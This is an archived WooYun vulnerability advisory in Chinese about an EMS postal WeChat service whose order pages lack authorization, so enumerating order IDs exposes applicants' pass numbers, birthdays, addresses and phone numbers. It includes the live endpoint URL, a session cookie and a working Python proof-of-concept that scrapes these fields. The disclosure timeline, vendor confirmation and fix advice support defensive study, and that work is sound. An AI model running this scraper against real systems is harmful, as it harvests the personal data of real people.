邮政速递某微信公众账号漏洞涉及便民通用户敏感信息

admin 2017年4月19日03:41:02评论617 views字数 239阅读0分47秒阅读模式
摘要

2016-02-29: 细节已通知厂商并且等待厂商处理中
2016-03-01: 厂商已经确认,细节仅向厂商公开
2016-03-11: 细节向核心白帽子及相关领域专家公开
2016-03-21: 细节向普通白帽子公开
2016-03-31: 细节向实习白帽子公开
2016-04-15: 细节向公众公开

漏洞概要 关注数(0) 关注此漏洞

缺陷编号: WooYun-2016-179554

漏洞标题: 邮政速递某微信公众账号漏洞涉及便民通用户敏感信息

相关厂商: 中国邮政集团公司信息技术局

漏洞作者: 路人甲

提交时间: 2016-02-29 16:10

公开时间: 2016-04-15 10:09

漏洞类型: 未授权访问/权限绕过

危害等级: 中

自评Rank: 6

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 敏感接口未加权限认证 未授权访问 用户敏感信息泄露

0人收藏


漏洞详情

披露状态:

2016-02-29: 细节已通知厂商并且等待厂商处理中
2016-03-01: 厂商已经确认,细节仅向厂商公开
2016-03-11: 细节向核心白帽子及相关领域专家公开
2016-03-21: 细节向普通白帽子公开
2016-03-31: 细节向实习白帽子公开
2016-04-15: 细节向公众公开

简要描述:

订单访问未做鉴权,导致用户敏感信息泄漏

详细说明:

访问订单未做鉴权,导致订单id可遍历,进行泄漏用户敏感信息

下面链接中orderId可遍历

http://wx.gdems.com/weixin/hkandmaocaoDetail_showDetail.action?orderid=1359

查看用户A信息

邮政速递某微信公众账号漏洞涉及便民通用户敏感信息

邮政速递某微信公众账号漏洞涉及便民通用户敏感信息

查看用户B信息

邮政速递某微信公众账号漏洞涉及便民通用户敏感信息

邮政速递某微信公众账号漏洞涉及便民通用户敏感信息

漏洞证明:

下面是PoC

code 区域
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import os
import urllib, urllib2, cookielib
from time import time
from collections import OrderedDict
import gzip
import StringIO
from bs4 import BeautifulSoup
import sys


class EMSApi:
"""docstring for EMSApi"""

def __init__(self):
self.cookie = cookielib.LWPCookieJar()
self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))
self.opener.addheaders = [
('Host', 'wx.gdems.com'),
('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),
('Connection', 'keep-alive'),
('Cookie', 'JSESSIONID=2D368BEF29860A068C48AAE4BB3B8490'),
('User-Agent', 'Mozilla/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13D15 MicroMessenger/6.3.13 NetType/WIFI Language/zh_CN'),
('Accept-Language', 'en-us'),
('Referer', 'http://wx.gdems.com/weixin/hkandmaocaoDetail_permitsList.action?weixinid=o4sbnjhtfYg9IuWzbDulLYimaYec&rd2ftoken=61F0A348D5D20DEC8834F006842F6FDF&pubId=Z6EOJ5l4GY4='),
('Accept-Encoding', 'gzip, deflate')
]
urllib2.install_opener(self.opener)

def __get_current_timestamp(self):
return '%.6f' % time()

def __open_url(self, url, params, is_post=True):
contents = ''
try:
encode_params = urllib.urlencode(params)

if is_post:
res = self.opener.open(url, encode_params)
else:
url = "{0}?{1}".format(url, encode_params)
res = self.opener.open(url)

if res.headers.get('Content-Encoding') == 'gzip':
# read the encoded response into a buffer
buff = StringIO.StringIO(res.read())
# gzip decode the response
f = gzip.GzipFile(fileobj=buff)
# store the result
contents = f.read()
# close the buffer
buff.close()
else:
contents = res.read()
except Exception, e:
print e

return contents

def get_order_info(self, order_id):
os.system("echo '#fetching order info ...'")
params = OrderedDict()
params['orderid'] = order_id

url = "http://wx.gdems.com/weixin/hkandmaocaoDetail_showDetail.action"

contents = self.__open_url(url, params)

# print contents
os.system("echo '#get_order_info done'")
return contents

def get_order_detail(self, orderId_des):
os.system("echo '#fetching order detail ...'")
params = OrderedDict()
params['orderId_des'] = orderId_des

url = "http://wx.gdems.com/weixin/hkandmaocaoDetail_selInfo.action?v={0}".format(int(time()*1000))

contents = self.__open_url(url, params, is_post=True)

# print contents
os.system("echo '#get_order_info done'")
return contents



if __name__ == "__main__":
if len(sys.argv) < 2:
print "Usage: python ems_api.py order_id[>= 1359]"
exit(1)
order_id = sys.argv[1]
ems_api = EMSApi()
# content = ems_api.get_order_info('1359')
content = ems_api.get_order_info(order_id)
soup = BeautifulSoup(content, 'lxml')
form_result = soup.select('form[name=infoForm]')
if len(form_result) > 0:
orderId_des = form_result[0].select('input')[0].attrs['value']
# print orderId_des
content = ems_api.get_order_detail(orderId_des)
soup = BeautifulSoup(content, 'lxml')
apply_user_result = soup.select('input#applyUser')
if len(apply_user_result) > 0:
apply_user = apply_user_result[0].attrs['value']
passcord_id = soup.select('input#passcordId')[0].attrs['value']
birthday_date = soup.select('input#birthdayDate')[0].attrs['value']
passcord_date = soup.select('input#passcordDate')[0].attrs['value']
cord_city = soup.select('input#cordCity')[0].attrs['value']
addressee = soup.select('input#addressee')[0].attrs['value']
address_info = soup.select('input#addressinfo')[0].attrs['value']
phone = soup.select('input#phone')[0].attrs['value']
second_name = soup.select('input#secondname')[0].attrs['value']
second_phone = soup.select('input#secondphone')[0].attrs['value']

print u'申请人: {0}/n' /
u'通行证: {1}/n' /
u'出生日期: {2}/n' /
u'过期时间: {3}/n' /
u'签证地: {4}/n' /
u'收件人: {5}/n' /
u'收件人手机: {6}/n' /
u'收件地址: {7}/n' /
u'紧急联系人: {8}/n' /
u'紧急联系人手机: {9}/n'.format(apply_user, passcord_id, birthday_date, passcord_date, cord_city,
addressee, phone, address_info, second_name, second_phone)
pass

修复方案:

公众账号内链接做授权,保证用户只能访问自己的订单

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2016-03-01 10:09

厂商回复:

谢谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin